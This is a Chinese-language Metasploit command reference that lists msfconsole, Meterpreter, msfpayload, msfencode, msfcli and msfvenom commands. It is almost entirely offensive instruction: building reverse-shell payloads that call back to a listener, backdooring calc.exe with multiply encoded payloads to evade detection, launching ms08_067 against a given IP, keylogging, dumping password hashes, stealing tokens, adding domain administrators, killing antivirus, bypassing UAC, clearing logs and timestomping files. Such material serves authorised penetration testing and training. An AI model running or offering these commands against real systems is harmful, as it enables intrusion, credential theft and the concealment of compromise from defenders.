Metasploit命令参考列表

一、MSF终端命令


show exploits

列出metasploit框架中所有的渗透攻击模块


show payloads

列出metasploit框架中所有的攻击载荷


show auxiliary

列出metasploit框架中所有的辅助攻击模块


search name

查找metasploit框架中渗透攻击或者其他模块


info

展示出制定渗透攻击或模块的相关信息


use name

装载一个渗透攻击或模块


LHOST

本地可以让目标主机链接的IP地址,如果目标主机和自己不在同一个局域网内时,就需要你的公共IP地址,特别为反弹式shell使用


RHOST

远程主机或目标主机


set function

设置配置参数


setg function

以全局方式设置特定的配置参数


show options

列出某个渗透攻击或模块中所有的配置参数


show targets

列出渗透攻击所支持的目标平台


set target num

指定你所知道的目标的操作系统以及补丁版本类型


set PAYLOAD payload

指定想要使用的攻击载荷


show advanced

列出高级选项


set autorunscript migrate -f

在渗透攻击完成后,将自动迁移到另一个进程


check

检测目标是否对选定渗透攻击存在相应安全漏洞


exploit

执行渗透攻击或模块来攻击目标


exploit -j

后台进行攻击目标


exploit -z

渗透攻击成功后不与会话进行交互


exploit -e enconder

制定使用的攻击载荷编码方式(例如:exploit -e shikata_ga_nai)


exploit -h

列出exploit命令的帮助信息


sessions -l

列出可用的交互会话


sessions -l -v

列出可用的交互会话,以及会话的详细信息,例如:攻击系统时使用了哪个安全漏洞


sessions -s script

在所有活跃的Meterpreter会话中运行一个特定的Meterpreter脚本


sessions -K

杀死所有活跃的交互会话


sessions -c cmd

在所有活跃的Meterpreter会话上执行一个命令


sessions -u sessionID

升级一个普通的win 32 shell到Meterpreter shell


db_creat name

创建一个数据库驱动攻击所要用的数据库(例如:db_creat autopwn)


db_connect name 

创建并连接一个数据库驱动攻击所要用的数据库(例如:db_connect autopwn)


db_nmap

利用nmap并把扫描数据存储到数据库中(支持nmap的普通语法)


db_autopwn -p -r -e

对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹shell


db_destroy

删除当前数据库


db_destory user:password@host:port/datebase

使用高级选项来删除数据库

二、Meterpreter命令


help

打开使用帮助


run scriptname

运行Meterpreter脚本,在scripts/meterpreter目录下查看所有脚本名


sysinfo

列出受控主机的系统信息


ls

列出主机的文件和文件夹信息


use priv

加载特权提升拓展模块,来扩展Meterpreter库


ps

显示所有运行进程以及关联的用户账户


migrate PID

迁移到一个指定的进程ID(PID号可通过ps命令从目标主机上获得)


use incognito

加载incognito功能(用来盗窃目标主机的令牌或是假冒用户)


list_tokens -g

列出目标主机用户的可用令牌


list_tokens -g

列出目标主机用户组的可用令牌



impersonate_token DOMAIN_NAME\\USERNAME

假冒目标主机上的可用令牌


steal_token PID

盗窃给定进程的可用令牌并进行令牌假冒


drop_token

停止假冒当前令牌


getsystem

通过各种攻击向量来提升系统用户权限


shell

以所有可用令牌来运行一个交互的shell


execute -f cmd.exe -i

执行cmd.exe命令并进行交互


execute -f cmd.exe -i -t

以所有可用令牌来执行cmd命令


execute -f cmd.exe -i -H -t

以所有可用令牌来执行cmd命令,并隐藏该进程


rev2self

回到控制目标主机的初始用户账户下


reg command

在目标主机注册表中进行交互,创建,删除,查询等操作


setdesktop number

切换到另一个用户界面


screenshot

截屏


upload file

向目标主机上传文件


download file

从目标主机上下载文件


keyscan_start

针对远程目标主机开启键盘记录功能


keyscan_dump

存储目标主机上捕获的键盘记录


keyscan_stop

停止针对目标主机的键盘记录


getprivs

尽可能多的获取目标主机上的特权


uictl enable keyboard/mouse

接管目标主机的键盘和鼠标


background

将你当前的Meterpreter shell转为后台执行


hashdump

导出目标主机中的口令哈希值


use sniffer

加载嗅探模块


sniffer_interfaces

列出目标主机所有开放的网络接口


sniffer_dump interfaceID pcapname

在目标主机上启动嗅探


sniffer_start interfaceID pcaket-buffer

在目标主机上针对特定范围的数据包缓冲区启动嗅探


sniffer_stats interfaceID 

获取正在实施嗅探网络接口的统计数据


sniffer_stop interfaceID 

停止嗅探


add_user username password -h ip

在远程目标主机上添加一个用户


add_group_user "Domain Admins" username -h ip

将用户添加到目标主机的域管理员组中


clearv

清除目标主机上的日志记录


timestomp

修改文件属性,例如修改文件的创建时间(反取证调查)


reboot

重启目标主机

三、MSF payload命令


msfpayload -h

MSFpayload的帮助信息


msfpayload windows/meterpreter/bind_tcp O

列出攻击载荷的配置项(任何攻击载荷都可以配置)


msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe

创建一个Meterpreter的reverse_tcp攻击载荷,回连到192.168.1.5的443端口,将其保存为payload.exe的Windows可执行程序


msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw

生成原始格式的文件,该文件将在MSFencode中使用。


msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 C > payload.c

生成C格式的shellcode


msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 J > payload.java

生成以%u编码方式的JavaScript语言字符串

四、MSFencode命令


msfencode -h

帮助信息


msfencode -l

列出所有可用的编码器


msfencode -t (c,elf,exe,java,js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)

显示编码缓冲区的格式


msfencode -i payload.raw -o encoded_payload.exe -e -x86/shikata_ga_nai -c 5 -t exe

使用shikata_ga_nai编码器对payload.raw文件进行5次编码,然后导出一encoded_payload.exe文件


msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c -5 -t raw | msfencode -e x86/shikata_ga_nai -c -5 -t exe -o multi-encoded_payload.exe

创建一个经过多种编码格式嵌套编码的攻击载荷


msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

创建一个纯字母数字的shellcode,由ESI寄存器指向shellcode,以c语言格式输出。


五、MSFcli命令


msfcli | grep exploit

仅列出渗透攻击模块


msfcli | grep exploit/windows

仅列出与windows相关的渗透攻击模块


msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E

对172.16.32.142发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在443端口进行监听


六、Metasploit高级忍术


msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode  -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe

创建一个反弹式的Meterpreter攻击载荷,回连到192.168.1.5主机443端口上,使用calc.exe作为载荷后门程序,让载荷执行流一直运行在被攻击的应用程序中,最后生成以.shikata_ga_nai编码器编码后的攻击载荷可执行程序payload.exe


msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe

创建一个反弹式的Meterpreter攻击载荷,回连到192.168.1.5主机443端口上,使用calc.exe作为载荷后门程序,不让载荷执行流一直运行在被攻击的应用程序中,同时在攻击载荷执行后也不会在目标主机上弹出任何信息。这种配置非常有效,当你利用浏览器漏洞控制了远程主机,并不想让计算器程序打开呈现在目标用户面前。同样,最后生成以.shikata_ga_nai编码器编码后的攻击载荷可执行程序payload.exe


msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -x calc.exe -k- -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe && msfcli multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E

创建一个raw格式的bind_tcp模式的Meterpreter攻击载荷,编码7次,输出payload.exe,同时开启多路监听方式


七、MSFvenom


msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=172.14.1.32 LPORT=443 > msf.exe

创建和编码攻击载荷


八、Meterpreter后渗透攻击阶段命令


在windows主机上提权

meterpreter > use priv

meterpreter > getsystem


在一个给定的进程ID中窃取一个域管理员组令牌,添加一个域账户,并把域账户添加到域管理员组中

meterpreter > ps

meterpreter > steal_token 1784

meterpreter > shell


从SAM数据库中导出密码的哈希值

meterpreter > use priv

meterpreter > getsystem

meterpreter > hashdump


提示:在windows8中,若getsystem命令和hashdump命令抛出异常,则需要迁移到一个以system系统权限运行的程序中

自动迁移到一个独立进程

meterpreter > run migrate


通过Meterpreter的killav脚本杀死目标主机上运行的杀毒软件进程

meterpreter > run killav


针对一个特定的进程捕获目标主机上的键盘记录

meterpreter > ps

meterpreter > migrate 1436

meterpreter > keyscan_start

meterpreter > keyscan_dump

meterpreter > keyscan_stop


使用匿名方式来冒充管理员

meterpreter > use incognito

meterpreter > list_tokens -u

meterpreter > use priv

meterpreter > getsystem

meterpreter > list_tokens -u

meterpreter > impersonate_token INAZSEURITY\\Adminstrator


查看目标主机上采取了哪些防护措施,列出帮助菜单,关闭防火墙以及其他我们发现的防护措施

meterpreter > run getcountermeasure

meterpreter > run getcountermeasure -h

meterpreter > run getcountermeasure -d -k


识别被控制的主机是否为虚拟机

meterpreter > run checkvm


在Meterpreter会话中使用shell

meterpreter > shell


获取目标主机的图形界面

meterpreter > run vnc


使正在运行的Meterpreter界面在后台运行

meterpreter > backgroud


绕过windows用户账户控制UAC机制

meterpreter > run post/windows/escalate/bypassuac


导出os-x系统口令哈希值

meterpreter > run post/osx/gather/hashdump


导出linux系统口令哈希值

meterpreter > run post/linux/gather/hashdump


推荐阅读更多精彩内容